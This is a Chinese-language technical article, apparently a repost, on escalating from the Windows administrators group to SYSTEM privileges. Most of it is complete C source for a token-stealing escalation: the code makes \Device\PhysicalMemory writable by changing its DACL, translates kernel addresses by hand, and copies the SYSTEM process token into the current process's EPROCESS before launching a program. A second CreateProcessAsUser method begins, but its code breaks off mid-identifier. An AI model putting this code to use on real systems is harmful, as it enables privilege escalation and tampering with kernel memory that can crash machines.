| 关键词: nbsp ULONG NULL Status ATTRIBUTES Information ZWQUERYSYSTEMINF Token SYSTEM PVOID |
关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".这里,我先踩在前辈的肩上列一些可行的方法:1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)" 2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建3. 远线程插入,插入线程到系统进程,创建一新进程这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:4. 将程序做成服务,带参数运行新进程做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.这里,我拿出两种新的方案来实现该功能:第一种方法.我们先来看一下系统是如何进行权限检测的,举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token; |->ObOpenObjectByPointer调用上面返回的TOKEN进行检查也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)实现代码:=======================================================#include<windows.h>#include<stdio.h>#include<Accctrl.h>#include<Aclapi.h>#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)typedef LONG NTSTATUS;typedef struct _IO_STATUS_BLOCK{ NTSTATUS Status; ULONG Information;} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;typedef struct _UNICODE_STRING{ USHORT Length; USHORT MaximumLength; PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;#define OBJ_INHERIT 0x00000002L#define OBJ_PERMANENT 0x00000010L#define OBJ_EXCLUSIVE 0x00000020L#define OBJ_CASE_INSENSITIVE 0x00000040L#define OBJ_OPENIF 0x00000080L#define OBJ_OPENLINK 0x00000100L#define OBJ_KERNEL_HANDLE 0x00000200L#define OBJ_VALID_ATTRIBUTES 0x000003F2Ltypedef struct _OBJECT_ATTRIBUTES{ ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService;} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; typedef struct _SYSTEM_MODULE_INFORMATION{ ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[256];} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;typedef enum _SYSTEM_INFORMATION_CLASS{ SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation} SYSTEM_INFORMATION_CLASS;typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,IN OUT PVOID SystemInformation,IN ULONG SystemInformationLength,OUT PULONG ReturnLength OPTIONAL);typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );typedef struct _SYSTEM_HANDLE_INFORMATION{ ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess;} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;RTLINITUNICODESTRING RtlInitUnicodeString;ZWOPENSECTION ZwOpenSection;ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;HMODULE g_hNtDLL = NULL;PVOID g_pMapPhysicalMemory = NULL;HANDLE g_hMPM = NULL;BOOL InitNTDLL(){ g_hNtDLL = LoadLibrary( "ntdll.dll" ); if ( !g_hNtDLL ) { return FALSE; } RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString"); ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection"); ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" ); ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" ); return TRUE;}VOID CloseNTDLL(){ if(g_hNtDLL != NULL) { FreeLibrary(g_hNtDLL); }}VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection){ PACL pDacl=NULL; PACL pNewDacl=NULL; PSECURITY_DESCRIPTOR pSD=NULL; DWORD dwRes; EXPLICIT_ACCESS ea; if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS) { goto CleanUp; } ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea.grfAccessPermissions = SECTION_MAP_WRITE; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance= NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = "CURRENT_USER"; if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS) { goto CleanUp; } if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS) { goto CleanUp; }CleanUp: if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl);}HANDLE OpenPhysicalMemory(){ NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes; RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" ); attributes.Length = sizeof(OBJECT_ATTRIBUTES); attributes.RootDirectory = NULL; attributes.ObjectName = &physmemString; attributes.Attributes = 0; attributes.SecurityDescriptor = NULL; attributes.SecurityQualityOfService = NULL; status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); if(status == STATUS_ACCESS_DENIED){ status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); } if( !NT_SUCCESS( status )) { return NULL; } g_pMapPhysicalMemory = MapViewOfFile( g_hMPM, 4, 0, 0x30000, 0x1000); if( g_pMapPhysicalMemory == NULL ) { return NULL; } return g_hMPM;}PVOID LinearToPhys(PULONG BaseAddress,PVOID addr){ ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; if(VAddr>=0x80000000 && VAddr<0xa0000000) { PAddr=VAddr-0x80000000; return (PVOID)PAddr; } PGDE=BaseAddress[VAddr>>22]; if ((PGDE&1)!=0) { ULONG tmp=PGDE&0x00000080; if (tmp!=0) { PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); } else { PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000); PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12]; if ((PTE&1)!=0) { PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } else return 0; } } else return 0; return (PVOID)PAddr;}ULONG GetData(PVOID addr){ ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return 0; ULONG ret=tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp); return ret;}BOOL SetData(PVOID addr,ULONG data){ ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000); if (tmp==0) return FALSE; tmp[(phys & 0xFFF)>>2]=data; UnmapViewOfFile(tmp); return TRUE;}DWORD MyGetModuleBaseAddress( char * pModuleName){ PSYSTEM_MODULE_INFORMATION pSysModule; ULONG uReturn; ULONG uCount; PCHAR pBuffer = NULL; PCHAR pName = NULL; NTSTATUS status; UINT ui; CHAR szBuffer[10]; DWORD pBaseAddress; status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn ); pBuffer = ( PCHAR )malloc(uReturn); if ( pBuffer ) { status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn ); if( NT_SUCCESS(status) ) { uCount = ( ULONG )*( ( ULONG * )pBuffer ); pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) ); for ( ui = 0; ui < uCount; ui++ ) { pName = strstr( pSysModule->ImageName, pModuleName ); if( pName ) { pBaseAddress = (DWORD)pSysModule->Base; free( pBuffer ); return pBaseAddress; } pSysModule ++; } } free( pBuffer ); } return NULL;}DWORD GetEprocessFromId (DWORD PID){ NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; DWORD n; DWORD retvalue=0; buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return FALSE; } status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return FALSE; } status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return FALSE; } NumOfHandle = *(ULONG*)buf; h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4); for(i = 0; i<NumOfHandle ;i++) { if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 )) { retvalue=(DWORD)(h_info[i].Object); break; } } if ( buf != NULL ) { free( buf ); } return retvalue;}void usage(char *exe){ printf("Usage : %s [exefile|-h]\n");}int main(int argc, char **argv){ HMODULE hDll; DWORD tmp; DWORD SystemEprocess; DWORD SystemEprocessTokenValue; DWORD CurrentEprocess; DWORD CurrentEprocessTokenValue; printf("\nIt is intended to get SYSTEM privilege from administrators group.\n"); printf("\tMade by ZwelL.\n"); printf("\[email protected].\n"); printf("\thttp://www.donews.net/zwell.\n"); printf("\tType -h to get more information\n", argv[0]); if( argc>=2) { if( ( (strcmp(argv[1],"-h")==0) && (argc==2)) || (argc>2) ) { usage(argv[0]); exit(-1); } } if (!InitNTDLL()) { printf("InitNTDLL wrong\n"); exit(-1); } if (OpenPhysicalMemory()==0) { printf("OpenPhysicalMemory wrong\n"); exit(-1); } hDll = LoadLibrary("ntoskrnl.exe"); tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess"); tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll; SystemEprocess=GetData((PVOID)tmp); tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue); OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() ); CurrentEprocess = GetEprocessFromId(GetCurrentProcessId()); CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)); printf("Current EPROCESS : %08x\n", CurrentEprocess); printf("Current Process Token : %08x\nPress ENTER to continue...\n", CurrentEprocessTokenValue); //getchar(); SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue); printf("Current Process Token : %08x\n", GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET))); printf("Press ENTER to create process...\n"); //getchar(); if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)) == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET)) ) // It is so surprised that SYSTEM's Token always in changing. // So before create new process, we should ensure the TOKEN is all right { ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL); } UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL(); return 0;}在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间, 搞不好会出现蓝屏现象(尽管机率很小).第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:#include <windows.h>#include <stdio.h>#include <Tlhelp32.h>#include <AccCtrl.h>#include <Aclapi.h>#include <wtsapi32.h>#pragma comment(lib, "wtsapi32")HANDLE OpenSystemProcess(){ HANDLE hSnapshot = NULL; HANDLE hProc = NULL; __try { // Get a snapshot of the processes in the system hSnapshot = CreateToolhelp32Snapshot(TH3 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|